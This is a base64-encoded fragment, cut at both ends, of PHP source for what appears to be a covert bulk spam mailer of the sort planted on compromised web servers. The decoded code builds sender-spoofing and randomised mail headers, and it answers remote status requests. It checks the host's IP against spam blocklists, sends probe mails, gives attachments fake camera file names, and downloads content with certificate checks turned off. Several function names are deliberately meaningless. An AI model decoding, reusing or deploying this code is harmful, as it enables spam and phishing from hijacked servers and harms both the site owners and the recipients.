JHEgXSwKICAgICAgICAgICAgICAgICRyYW5kCiAgICAgICAgICAgICk7CiAgICAgICAgfQoKICAgICAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCAkcmVzdWx0M1sgMCBdWyAkcSBdLCAkcmFuZCwgJHRleHQgKTsKICAgICAgICAkcSsrOwogICAgfQoKICAgIC8vIFt2YXI6CiAgICB3aGlsZSggJHcgPCBzaXplb2YoICRyZXN1bHQ0WyAxIF0gKSApIHsKICAgICAgICAkcmFuZCA9IGV4cGxvZGUoICd8JywgJHJlc3VsdDRbIDEgXVsgJHcgXSApOwogICAgICAgIGlmKCAhIGlzX251bWVyaWMoICRyYW5kWyAwIF0gKSBvciAhIGlzX251bWVyaWMoICRyYW5kWyAxIF0gKSApIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgICRyYW5kID0gcmFuZFN0cmluZyggJHJhbmRbIDAgXSwgJHJhbmRbIDEgXSApOwoKICAgICAgICAkdGV4dCA9IHN0cl9yZXBsYWNlX29uY2UoICRyZXN1bHQ0WyAwIF1bICR3IF0sICRyYW5kLCAkdGV4dCApOwogICAgICAgICR3Kys7CiAgICB9CgogICAgd2hpbGUoICRlIDwgc2l6ZW9mKCAkcmVzdWx0NVsgMSBdICkgKSB7CiAgICAgICAgaWYoICEgaXNfbnVtZXJpYyggJHJlc3VsdDVbIDEgXVsgJGUgXSApICkgewogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgLy9lY2hvICRyZXN1bHQ1WzBdWyRlXS4iIC0gIi4kZGF0YVskcmVzdWx0NVsxXVskZV1dLiI8YnI+IjsKICAgICAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCAkcmVzdWx0NVsgMCBdWyAkZSBdLCAkZGF0YVsgJHJlc3VsdDVbIDEgXVsgJGUgXSBdLCAkdGV4dCApOwogICAgICAgICRlKys7CiAgICB9CgogICAgcHJlZ19tYXRjaF9hbGwoICcjXFtyYW5kOiguKz8pXF0jaXMnLCAkdGV4dCwgJHJlc3VsdCApOwogICAgJGMgPSAwOwoKICAgIHdoaWxlKCAkYyA8IHNpemVvZiggJHJlc3VsdFsgMSBdICkgKSB7CiAgICAgICAgJHJhbmQgPSBleHBsb2RlKCAnfCcsICRyZXN1bHRbIDEgXVsgJGMgXSApOwogICAgICAgICRyYW5kID0gJHJhbmRbIGFycmF5X3JhbmQoICRyYW5kICkgXTsKCiAgICAgICAgJHRleHQgPSBzdHJfcmVwbGFjZV9vbmNlKCAkcmVzdWx0WyAwIF1bICRjIF0sICRyYW5kLCAkdGV4dCApOwogICAgICAgICRjKys7CiAgICB9CgogICAgJHAgPSBzdHJwb3MoICR0ZXh0LCAnc3Bvb2Y6JyApOwogICAgaWYoICRwICE9IEZBTFNFICkgewogICAgICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoICdbc3Bvb2Y6JywgJzonLCAkdGV4dCApOwogICAgICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoICddJywgJycsICR0ZXh0ICk7CiAgICB9CgogICAgLy9iYXNlNjQKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoICd7dmFyOn0nLCAne3ZhcjoxfScsICR0ZXh0ICk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCAne2VtYWlsOn0nLCB0cmltKCAkZGF0YVsgMCBdICksICR0ZXh0ICk7CiAgICBwcmVnX21hdGNoX2FsbCggJyNcW2Jhc2U2NDooLis/KVxdI2lzJywgJHRleHQsICRyZXN1bHQxMiApOwogICAgJGgyID0gMDsKICAgIHdoaWxlKCAkaDIgPCBzaXplb2YoICRyZXN1bHQxMlsgMSBdICkgKSB7CiAgICAgICAgJHJlc3VsdDEyX3RleHQgPSAkcmVzdWx0MTJbIDEgXVsgJGgyIF07CiAgICAgICAgLy97dmFyMX0KICAgICAgICBwcmVnX21hdGNoX2FsbCggJyNce3ZhcjooLis/KVx9I2lzJywgJHJlc3VsdDEyX3RleHQsICRyZXN1bHQxMl92YXIgKTsKICAgICAgICAkaDJfdmFyID0gMDsKICAgICAgICB3aGlsZSggJGgyX3ZhciA8IHNpemVvZiggJHJlc3VsdDEyX3ZhclsgMSBdICkgKSB7CiAgICAgICAgICAgIGlmKCBpc19udW1lcmljKCAkcmVzdWx0MTJfdmFyWyAxIF1bICRoMl92YXIgXSApICkgewogICAgICAgICAgICAgICAgJHJlc3VsdDEyX3RleHQgPSBzdHJfcmVwbGFjZV9vbmNlKAogICAgICAgICAgICAgICAgICAgICRyZXN1bHQxMl92YXJbIDAgXVsgJGgyX3ZhciBdLCAkZGF0YVsgJHJlc3VsdDEyX3ZhclsgMSBdWyAkaDJfdmFyIF0gXSwgJHJlc3VsdDEyX3RleHQKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGgyX3ZhcisrOwogICAgICAgIH0KCiAgICAgICAgJHRleHQgPSBzdHJfcmVwbGFjZV9vbmNlKCAkcmVzdWx0MTJbIDAgXVsgJGgyIF0sIGJhc2U2NF9lbmNvZGUoICRyZXN1bHQxMl90ZXh0ICksICR0ZXh0ICk7CgogICAgICAgICRoMisrOwogICAgfQoKCiAgICAvL2F0dGFjaGVtZW50CiAgICBwcmVnX21hdGNoX2FsbCggJyNcW2F0dGFjaG1lbnQ6KC4rPylcXSNpcycsICR0ZXh0LCAkcmVzdWx0OSApOwogICAgJGQgPSAwOwogICAgd2hpbGUoICRkIDwgc2l6ZW9mKCAkcmVzdWx0OVsgMSBdICkgKSB7CiAgICAgICAgJGF0dGFjaGVtZW50X2FycmF5MCA9IGV4cGxvZGUoICc+Pj4nLCAkcmVzdWx0OVsgMSBdWyAkZCBdICk7CiAgICAgICAgJGF0dGFjaGVtZW50X2FycmF5W10gPSAkYXR0YWNoZW1lbnRfYXJyYXkwOwogICAgICAgICR0ZXh0ID0gc3RyX3JlcGxhY2Vfb25jZSggJHJlc3VsdDlbIDAgXVsgJGQgXSwgIiIsICR0ZXh0ICk7CiAgICAgICAgJGQrKzsKICAgIH0KCgogICAgLy9hdHRhY2hlbWVudDIKICAgIHByZWdfbWF0Y2hfYWxsKCAnI1xbYXR0YWNobWVudE06KC4rPylcXSNpcycsICR0ZXh0LCAkcmVzdWx0MTAgKTsKICAgICRzID0gMDsKCiAgICB3aGlsZSggJHMgPCBzaXplb2YoICRyZXN1bHQxMFsgMSBdICkgKSB7CiAgICAgICAgJGF0dGFjaGVtZW50X2FycmF5MCA9IGV4cGxvZGUoICc+Pj4nLCAkcmVzdWx0MTBbIDEgXVsgJHMgXSApOwogICAgICAgIHByZWdfbWF0Y2hfYWxsKCAnI1woKC4rPylcKSNpcycsICRhdHRhY2hlbWVudF9hcnJheTBbIDAgXSwgJHJlc3VsdDExICk7CiAgICAgICAgJHMxID0gMDsKICAgICAgICB3aGlsZSggJHMxIDwgc2l6ZW9mKCAkcmVzdWx0MTFbIDEgXSApICkgewogICAgICAgICAgICAkYXR0YWNoZW1lbnRfYXJyYXkxID0gZXhwbG9kZSggJywnLCAkcmVzdWx0MTFbIDEgXVsgJHMxIF0gKTsKICAgICAgICAgICAgJGF0dGFjaGVtZW50X2FycmF5MV8gPSByYW5kKCBpbnR2YWwoICRhdHRhY2hlbWVudF9hcnJheTFbIDAgXSApLCBpbnR2YWwoICRhdHRhY2hlbWVudF9hcnJheTFbIDEgXSApIC0gMSApOwogICAgICAgICAgICAkYXR0YWNoZW1lbnRfYXJyYXkwWyAwIF0gPSBzdHJfcmVwbGFjZV9vbmNlKAogICAgICAgICAgICAgICAgJHJlc3VsdDExWyAxIF1bICRzMSBdLCAkYXR0YWNoZW1lbnRfYXJyYXkxXywgJGF0dGFjaGVtZW50X2FycmF5MFsgMCBdCiAgICAgICAgICAgICk7CiAgICAgICAgICAgICRhdHRhY2hlbWVudF9hcnJheTBbIDAgXSA9IHN0cl9yZXBsYWNlKCAnKCcsICcnLCAkYXR0YWNoZW1lbnRfYXJyYXkwWyAwIF0gKTsKICAgICAgICAgICAgJGF0dGFjaGVtZW50X2FycmF5MFsgMCBdID0gc3RyX3JlcGxhY2UoICcpJywgJycsICRhdHRhY2hlbWVudF9hcnJheTBbIDAgXSApOwogICAgICAgICAgICAkczErKzsKICAgICAgICB9CgogICAgICAgICRhdHRhY2hlbWVudF9hcnJheVtdID0gJGF0dGFjaGVtZW50X2FycmF5MDsKCiAgICAgICAgJHRleHQgPSBzdHJfcmVwbGFjZV9vbmNlKCAkcmVzdWx0MTBbIDAgXVsgJHMgXSwgIiIsICR0ZXh0ICk7CiAgICAgICAgJHMrKzsKICAgIH0KCiAgICAvL2ltYWdlNjQKICAgIC8vaHR0cHM6Ly9zdGFja292ZXJmbG93LmNvbS9xdWVzdGlvbnMvMzI3OTUyMy9iYXNlNjQtaW1hZ2VzLXRvLWdtYWlsLzEyNzg2MzM2IzEyNzg2MzM2CiAgICBwcmVnX21hdGNoX2FsbCggJyNcW2ltYWdlNjQ6KC4rPylcXSNpcycsICR0ZXh0LCAkcmVzdWx0MTMgKTsKICAgICRkMiA9IDA7CiAgICAkaW1hZ2U2NF9maWxlID0gJ2ltYWdlNjRfZmlsZS5wbmcnOwogICAgJGltYWdlNjRfZmlsZV8gPSAnJzsKICAgIHdoaWxlKCAkZDIgPCBzaXplb2YoICRyZXN1bHQxM1sgMSBdICkgKSB7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoICRpbWFnZTY0X2ZpbGUsIGZpbGVfZ2V0X2NvbnRlbnRzKCAkcmVzdWx0MTNbIDEgXVsgJGQyIF0gKSApOwogICAgICAgICRmcCA9IGZvcGVuKCAkaW1hZ2U2NF9maWxlLCAiciIgKTsKICAgICAgICBpZiggJGZwICkgewogICAgICAgICAgICAkaW1hZ2U2NF9maWxlXyA9IGZyZWFkKCAkZnAsIGZpbGVzaXplKCAkaW1hZ2U2NF9maWxlICkgKTsKICAgICAgICB9CiAgICAgICAgZmNsb3NlKCAkZnAgKTsKICAgICAgICAvL2VjaG8gImZpbGU6ICIuJGltYWdlNjRfZmlsZV87CiAgICAgICAgJHJlc3VsdDEzX3RleHQgPSAnZGF0YTonIC4gbWltZV9jb250ZW50X3R5cGUoICRpbWFnZTY0X2ZpbGUgKSAuICc7YmFzZTY0LCcgLiBjaHVua19zcGxpdCgKICAgICAgICAgICAgICAgIGJhc2U2NF9lbmNvZGUoICRpbWFnZTY0X2ZpbGVfICkKICAgICAgICAgICAgKSAuICcnOwogICAgICAgICR0ZXh0ID0gc3RyX3JlcGxhY2Vfb25jZSggJHJlc3VsdDEzWyAwIF1bICRkMiBdLCAkcmVzdWx0MTNfdGV4dCwgJHRleHQgKTsKICAgICAgICB1bmxpbmsoICRpbWFnZTY0X2ZpbGUgKTsKICAgICAgICAkZDIrKzsKICAgIH0KCiAgICByZXR1cm4gJHRleHQ7Cn0KCmZ1bmN0aW9uIEdldEhlYWRlcnMoICRmcm9tbmFtZSwgJGZyb21tYWlsLCAkcmVwbHl0byA9IG51bGwgKQp7CiAgICBnbG9iYWwgJGVuY29kaW5nOwoKICAgIGlmKCBpc19udWxsKCAkcmVwbHl0byApICkgewogICAgICAgICRyZXBseXRvID0gJGZyb21tYWlsOwogICAgfQogICAgaWYoICRlbmNvZGluZyA9PSAnVVRGLTgnICkgewogICAgICAgICRoZWFkZXJzID0gIkZyb206ID0/VVRGLTg/Qj8iIC4gYmFzZTY0X2VuY29kZSggJGZyb21uYW1lICkgLiAiPz0gPCIgLiAkZnJvbW1haWwgLiAiPiIgLiAiXHJcbiI7CiAgICB9CiAgICBlbHNlIHsKICAgICAgICAkaGVhZGVycyA9ICJGcm9tOiA9PyRlbmNvZGluZz9CPyIgLiBiYXNlNjRfZW5jb2RlKAogICAgICAgICAgICAgICAgaWNvbnYoICdVVEYtOCcsICRlbmNvZGluZywgJGZyb21uYW1lICkKICAgICAgICAgICAgKSAuICI/PSA8IiAuICRmcm9tbWFpbCAuICI+IiAuICJcclxuIjsKICAgIH0KICAgICRoZWFkZXJzIC49ICJSZXBseS1UbzogIiAuICRyZXBseXRvIC4gIlxyXG4iOwogICAgJGhlYWRlcnMgLj0gIlgtTWFpbGVyOiAiIC4gc3RydG91cHBlciggcmFuZFRleHQoKSApIC4gIlxyXG4iOwogICAgJGhlYWRlcnMgLj0gIk1JTUUtVmVyc2lvbjogMS4wIiAuICJcclxuIjsKCiAgICByZXR1cm4gJGhlYWRlcnM7Cn0KCi8vIENoZWNrIGZvciBmdW5jdGlvbl9leGlzdHMoJ21haWwnKQpmdW5jdGlvbiBDaGVjaygpCnsKICAgICRjcmxmID0gIlxyXG4iOwoKICAgIGlmKCBpc3NldCggJF9SRVFVRVNUWyAnc3QnIF0gKSA9PT0gdHJ1ZSApIHsKICAgICAgICBwcmludCAnKnZhbGlkOm9rKicgLiAkY3JsZjsKICAgIH0KICAgIGlmKCBpc3NldCggJF9SRVFVRVNUWyAnbScgXSApID09PSB0cnVlICkgewogICAgICAgIGlmKCBmdW5jdGlvbl9leGlzdHMoICdtYWlsJyApICkgewogICAgICAgICAgICAkZXggPSBleHBsb2RlKCAnOicsICRfUkVRVUVTVFsgJ20nIF0gKTsKICAgICAgICAgICAgJGVtYWlsID0gJGV4WyAwIF07CgogICAgICAgICAgICBpZiggQ2hlY2tNYWlsKCAkZW1haWwgKSApIHsKICAgICAgICAgICAgICAgIHByaW50ICcqbWFpbDpvayonIC4gJGNybGY7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICBwcmludCAnKm1haWw6YmFkKicgLiAkY3JsZjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgcHJpbnQgJyptYWlsOmJhZConIC4gJGNybGY7CiAgICAgICAgfQogICAgfQogICAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbICdyYicgXSApID09PSB0cnVlICkgewogICAgICAgICRyYmwgPSBDaGVja1JCTCgpOwogICAgICAgIGlmKCAkcmJsID09ICcnICkgewogICAgICAgICAgICBwcmludCAnKnJibDpvayonOwogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgcHJpbnQgJypyYmw6JyAuICRyYmwgLiAnKic7CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiByYW5kU3RyaW5nKCAkbWluLCAkbWF4ICkKewogICAgJHN0ciA9ICdxd2VydHl1aW9wYXNkZmdoamtsenhjdmJubSc7CiAgICAkc2l6ZSA9IHJhbmQoICRtaW4sICRtYXggKTsKICAgICRyZXN1bHQgPSAnJzsKCiAgICBmb3IoICRjID0gMDsgJGMgPCAkc2l6ZTsgJGMrKyApIHsKICAgICAgICAkcmVzdWx0IC49ICRzdHJbIHJhbmQoIDAsIHN0cmxlbiggJHN0ciApIC0gMSApIF07CiAgICB9CiAgICByZXR1cm4gJHJlc3VsdDsKfQoKZnVuY3Rpb24gQ2hlY2tSQkwoKQp7CiAgICAkZG5zYmxfY2hlY2sgPSBhcnJheSgKICAgICAgICAnYi5iYXJyYWN1ZGFjZW50cmFsLm9yZycsCiAgICAgICAgJ3hibC5zcGFtaGF1cy5vcmcnLAogICAgICAgICdzYmwuc3BhbWhhdXMub3JnJywKICAgICAgICAnemVuLnNwYW1oYXVzLm9yZycsCiAgICAgICAgJ2JsLnNwYW1jb3AubmV0JwogICAgKTsKICAgICRpcCA9IGdldGhvc3RieW5hbWUoICRfU0VSVkVSWyAnSFRUUF9IT1NUJyBdICk7CiAgICAkcmVzdWx0ID0gJyc7CgogICAgaWYoICRpcCApIHsKICAgICAgICAkcmlwID0gaW1wbG9kZSggJy4nLCBhcnJheV9yZXZlcnNlKCBleHBsb2RlKCAnLicsICRpcCApICkgKTsKICAgICAgICBmb3JlYWNoKCAkZG5zYmxfY2hlY2sgYXMgJHZhbCApIHsKICAgICAgICAgICAgaWYoIGNoZWNrZG5zcnIoICRyaXAgLiAnLicgLiAkdmFsIC4gJy4nLCAnQScgKSApIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHZhbCAuICcsICc7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYoIHN0cmxlbiggJHJlc3VsdCApID4gMiApIHsKICAgICAgICAgICAgcmV0dXJuIHN1YnN0ciggJHJlc3VsdCwgMCwgLTIgKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAnJzsKICAgICAgICB9CiAgICB9CiAgICBlbHNlIHsKICAgICAgICByZXR1cm4gJypyYmw6dW5rbm93bionOwogICAgfQogICAgcmV0dXJuICcnOwp9CgovLyBDaGVjayBtYWlsIHdpdGggcmFuZG9tIHRleHQKZnVuY3Rpb24gQ2hlY2tNYWlsKCAkdG8gKQp7CiAgICAkaGVhZGVycyA9IEdldEhlYWRlcnMoIHJhbmRUZXh0KCksIHJhbmRUZXh0KCkgLiAnQCcgLiAkX1NFUlZFUlsgJ0hUVFBfSE9TVCcgXSApOwogICAgLy8kaGVhZGVyID0gJ0Zyb206ICcgLiAnPT91dGYtOD9CPycgLiBiYXNlNjRfZW5jb2RlKHJhbmRUZXh0KCkpIC4gJz89JyAuICcgPCcgLiAkZnJvbV9uYW1lIC4gJ0AnIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIj5cclxuIjsKICAgICRoZWFkZXJzIC49ICdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcgLiAiXHJcbiI7CiAgICAkaGVhZGVycyAuPSAnQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0JyAuICJcclxuIjsKCiAgICAkbWVzc2FnZSA9IGNodW5rX3NwbGl0KCBiYXNlNjRfZW5jb2RlKCB0YmZ5RlVja2dudmpodmdqa00oKSApICk7CiAgICAkc3ViamVjdCA9ICRfU0VSVkVSWyAnSFRUUF9IT1NUJyBdOwoKICAgIGlmKCBtYWlsKCAkdG8sICRzdWJqZWN0LCAkbWVzc2FnZSwgJGhlYWRlcnMgKSApIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gY3V0X3RhZ3MoICRtZXNzYWdlICkKewogICAgJG1lc3NhZ2UxID0gdHJpbSggc3RyaXBfdGFncyggJG1lc3NhZ2UsICc8YT4nICkgKTsKICAgICRmaW5kX2EgPSBUcnVlOwogICAgJG1lc3NhZ2UxXyA9IGFycmF5KCk7CiAgICAkZmluZF9hX2kgPSBhcnJheSgpOwogICAgJGZpbmRfYV9pWyAwIF0gPSAwOwogICAgd2hpbGUoICRmaW5kX2EgPT0gVHJ1ZSApIHsKICAgICAgICAkZmluZF9hX2lbIDAgXSA9IHN0cnBvcyggJG1lc3NhZ2UxLCAnPGEnLCAkZmluZF9hX2lbIDAgXSApOwogICAgICAgIGlmKCAkZmluZF9hX2lbIDAgXSAhPSBGYWxzZSApIHsKICAgICAgICAgICAgJGZpbmRfYV9pWyAxIF0gPSBzdHJwb3MoICRtZXNzYWdlMSwgJ2hyZWYnLCAkZmluZF9hX2lbIDAgXSArIDEgKTsKICAgICAgICAgICAgJGZpbmRfYV9pWyAxIF0gPSBzdHJwb3MoICRtZXNzYWdlMSwgJyInLCAkZmluZF9hX2lbIDEgXSArIDEgKTsKICAgICAgICAgICAgJGZpbmRfYV9pWyAyIF0gPSBzdHJwb3MoICRtZXNzYWdlMSwgJyInLCAkZmluZF9hX2lbIDEgXSArIDEgKTsKICAgICAgICAgICAgJGZpbmRfYV9pWyAzIF0gPSBzdHJwb3MoICRtZXNzYWdlMSwgJzwvJywgJGZpbmRfYV9pWyAyIF0gKyAxICk7CiAgICAgICAgICAgICRmaW5kX2FfaVsgMyBdID0gc3RycG9zKCAkbWVzc2FnZTEsICc+JywgJGZpbmRfYV9pWyAzIF0gKyAxICk7CiAgICAgICAgICAgICRmaW5kX2FfaVsgNCBdID0gc3RybGVuKCAkbWVzc2FnZTEgKSAtIDE7CiAgICAgICAgICAgICRtZXNzYWdlMV9bIDAgXSA9IHN1YnN0ciggJG1lc3NhZ2UxLCAwLCAkZmluZF9hX2lbIDAgXSApOwogICAgICAgICAgICAkbWVzc2FnZTFfWyAxIF0gPSBzdWJzdHIoICRtZXNzYWdlMSwgJGZpbmRfYV9pWyAxIF0gKyAxLCAkZmluZF9hX2lbIDIgXSAtICRmaW5kX2FfaVsgMSBdIC0gMSApOwogICAgICAgICAgICAkbWVzc2FnZTFfWyAyIF0gPSBzdWJzdHIoICRtZXNzYWdlMSwgJGZpbmRfYV9pWyAzIF0gKyAxLCAkZmluZF9hX2lbIDQgXSAtICRmaW5kX2FfaVsgMyBdICsgMSApOwogICAgICAgICAgICAkbWVzc2FnZTEgPSAkbWVzc2FnZTFfWyAwIF0gLiAkbWVzc2FnZTFfWyAxIF0gLiAkbWVzc2FnZTFfWyAyIF07CiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICAkZmluZF9hID0gRmFsc2U7CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuICRtZXNzYWdlMTsKfQoKZnVuY3Rpb24gc3RyX3JlcGxhY2Vfb25jZSggJHNlYXJjaCwgJHJlcGxhY2UsICR0ZXh0ICkKewogICAgJHBvcyA9IHN0cnBvcyggJHRleHQsICRzZWFyY2ggKTsKICAgIHJldHVybiAkcG9zICE9PSBmYWxzZSA/IHN1YnN0cl9yZXBsYWNlKCAkdGV4dCwgJHJlcGxhY2UsICRwb3MsIHN0cmxlbiggJHNlYXJjaCApICkgOiAkdGV4dDsKfQoKZnVuY3Rpb24gR2V0RmlsZW5hbWUoICRuYW1lICkKewogICAgJGZvcm1hdCA9IGVuZCggZXhwbG9kZSggJy4nLCAkbmFtZSApICk7CiAgICAkYXJyYXlbXSA9ICdTREMnOwogICAgJGFycmF5W10gPSAnUCc7CiAgICAkYXJyYXlbXSA9ICdEQyc7CiAgICAkYXJyYXlbXSA9ICdDQU0nOwogICAgJGFycmF5W10gPSAnSU1HLSc7CiAgICAkaW1nID0gYXJyYXkoCiAgICAgICAgJ3BuZycsCiAgICAgICAgJ2pwZycsCiAgICAgICAgJ2dpZicsCiAgICAgICAgJ2pwZWcnLAogICAgICAgICdibXAnCiAgICApOwoKICAgIGZvciggJGMgPSAwLCAkbWF4ID0gc2l6ZW9mKCAkaW1nICk7ICRjIDwgJG1heDsgJGMrKyApIHsKICAgICAgICBpZiggc3RydG9sb3dlciggJGZvcm1hdCApID09ICRpbWdbICRjIF0gKSB7CiAgICAgICAgICAgICRyYW5kID0gcmFuZCggMTAsIDk5OTk5OSApOwogICAgICAgICAgICByZXR1cm4gJGFycmF5WyByYW5kKCAwLCA0ICkgXSAuICRyYW5kIC4gJy4nIC4gJGZvcm1hdDsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gcmFuZFRleHQoKSAuICcuJyAuICRmb3JtYXQ7Cn0KCmZ1bmN0aW9uIERvd25sb2FkU291cmNlKCAkdXJsICkKewoKICAgICRyZXNwID0gJyc7CgogICAgaWYoIGlzX2NhbGxhYmxlKCAnY3VybF9pbml0JyApICkgewoKICAgICAgICAkY2ggPSBjdXJsX2luaXQoICR1cmwgKTsKCiAgICAgICAgY3VybF9zZXRvcHQoICRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UgKTsKICAgICAgICBjdXJsX3NldG9wdCggJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAyICk7CiAgICAgICAgY3VybF9zZXRvcHQoICRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSApOwogICAgICAgIGN1cmxfc2V0b3B0KCAkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEgKTsKICAgICAgICBjdXJsX3NldG9wdCggJGNoLCBDVVJMT1BUX0hFQURFUiwgMCApOwogICAgICAgIGN1cmxfc2V0b3B0KCAkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDEwICk7CiAgICAgICAgY3VybF9zZXRvcHQoICRjaCwgQ1VSTE9QVF9USU1FT1VULCAxMCApOwoKICAgICAgICAkcmVzcCA9IGN1cmxfZXhlYyggJGNoICk7CiAgICAgICAgJGhlYWRlciA9IGN1cmxfZ2V0aW5mbyggJGNoICk7CgogICAgICAgIGN1cmxfY2xvc2UoICRjaCApOwoKICAgICAgICBpZiggJGhlYWRlclsgJ2h0dHBfY29kZScgXSAhPSAyMDAgKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICB9CiAgICBlbHNlIHsKICAgICAgICAkdXJsX3BhcnNlZCA9IHBhcnNlX3VybCggJHVybCApOwogICAgICAgICRzc2wgPSAoICR1cmxfcGFyc2VkWyAnc2NoZW1lJyBdID09ICdodHRwcycgKTsKCiAgICAgICAgJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoIFsKICAgICAgICAgICAgJ3NzbCcgPT4gWwogICAgICAgICAgICAgICAgJ3ZlcmlmeV9wZWVyJyA9PiBmYWxzZSwKICAgICAgICAgICAgICAgICd2ZXJpZnlfcGVlcl9uYW1lJyA9PiBmYWxzZQogICAgICAgICAgICBdCiAgICAgICAgXSApOwoKICAgICAgICAkcmVzdWx0SG9zdCA9ICggJHNzbCA/ICdzc2w6Ly8nIDogJycgKSAuICR1cmxfcGFyc2VkWyAnaG9zdCcgXTsKCiAgICAgICAgaWYoICR1cmxfcGFyc2VkWyAncG9ydCcgXSApIHsKICAgICAgICAgICAgJHJlc3VsdEhvc3QgLj0gIjoiIC4gJHVybF9wYXJzZWRbICdwb3J0JyBdOwogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJHJlc3VsdEhvc3QgLj0gKCAkc3NsICkgPyAiOiIgLiA0NDMgOiAiOiIgLiA4MDsKICAgICAgICB9CgogICAgICAgICRzb2NrZXQgPSBzdHJlYW1fc29ja2V0X2NsaWVudCggJHJlc3VsdEhvc3QsICRlcnJubywgJGVyck1zZywgMTUsIFNUUkVBTV9DTElFTlRfQ09OTkVDVCwgJGNvbnRleHQgKTsKCiAgICAgICAgaWYoICRzb2NrZXQgKSB7CgogICAgICAgICAgICBmcHV0cyggJHNvY2tldCwgIkdFVCAiIC4gJHVybF9wYXJzZWRbICdwYXRoJyBdIC4gIiBIVFRQLzEuMFxyXG4iICk7CiAgICAgICAgICAgIGZwdXRzKCAkc29ja2V0LCAiSG9zdDogIiAuICR1cmxfcGFyc2VkWyAnaG9zdCcgXSAuICJcclxuIiApOwogICAgICAgICAgICBmcHV0cyggJHNvY2tldCwgIkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iICk7CgogICAgICAgICAgICAkciA9IDA7CiAgICAgICAgICAgIHdoaWxlKCAhIGZlb2YoICRzb2NrZXQgKSApIHsKICAgICAgICAgICAgICAgICRiID0gZmdldHMoICRzb2NrZXQsIDEwMjQgKTsKICAgICAgICAgICAgICAgIGlmKCAkciApIHsKICAgICAgICAgICAgICAgICAgICAkcmVzcCAuPSAkYjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmKCAkYiA9PSAiXHJcbiIgKSB7CiAgICAgICAgICAgICAgICAgICAgJHIgPSAxOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBmY2xvc2UoICRzb2NrZXQgKTsKICAgICAgICB9CiAgICB9CgogICAgaWYoIGVtcHR5KCAkcmVzcCApICkgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIHJldHVybiAkcmVzcDsKfQoKZnVuY3Rpb24gZmlsZVN0cmluZyggJG5hbWUgKQp7CiAgICAkZm9ybWF0ID0gZW5kKCBleHBsb2RlKCAnLicsICRuYW1lICkgKTsKCiAgICBpZiggc3RydG9sb3dlciggJGZvcm1hdCApID09ICdqcGVnJyBvciBzdHJ0b2xvd2VyKCAkZm9ybWF0ICkgPT0gJ2pwZycgKSB7CiAgICAgICAgaWYoIENoZWNrQmZ1aWtsbWVrZzYoKSApIHsKICAgICAgICAgICAgcmV0dXJuIEJmdWlrbG1la2c2KCAkX0ZJTEVTWyAnZmlsZScgXVsgJ3RtcF9uYW1lJyBdICk7CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCAkX0ZJTEVTWyAnZmlsZScgXVsgJ3RtcF9uYW1lJyBdICk7Cn0KCmZ1bmN0aW9uIHJhbmRUZXh0KCkKewogICAgJHN0ciA9ICdxd2VydHl1aW9wYXNkZmdoamtsenhjdmJubSc7CiAgICAkc2l6ZSA9IHJhbmQoIDMsIDggKTsKICAgICRyZXN1bHQgPSAnJzsKCiAgICBmb3IoICRjID0gMDsgJGMgPCAkc2l6ZTsgJGMrKyApIHsKICAgICAgICAkcmVzdWx0IC49ICRzdHJbIHJhbmQoIDAsIHN0cmxlbiggJHN0ciApIC0gMSApIF07CiAgICB9CiAgICByZXR1cm4gJHJlc3VsdDsKfQoKLy8gUmFuZG9tIHRleHQgdmVyc2lvbiBmb3IgbWVzc2FnZQpmdW5jdGlvbiB0YmZ5RlVja2dudmpodmdqa00oKQp7CiAgICAkc3RyID0gJ3F3ZXJ0eXVpb3Bhc2RmZ2hqa2x6eGN2Ym5tJzsKICAgICRzaXplID0gcmFuZCggOSwgMjAgKTsKICAgICRyZXN1bHQgPSAnJzsKCiAgICBmb3IoICRjID0gMDsgJGMgPCAkc2l6ZTsgJGMrKyApIHsKICAgICAgICAkcmFuZCA9IHJhbmQoIDYsIDEwICk7CgogICAgICAgIGZvciggJGkgPSAwOyAkaSA8ICRyYW5kOyAkaSsrICkgewog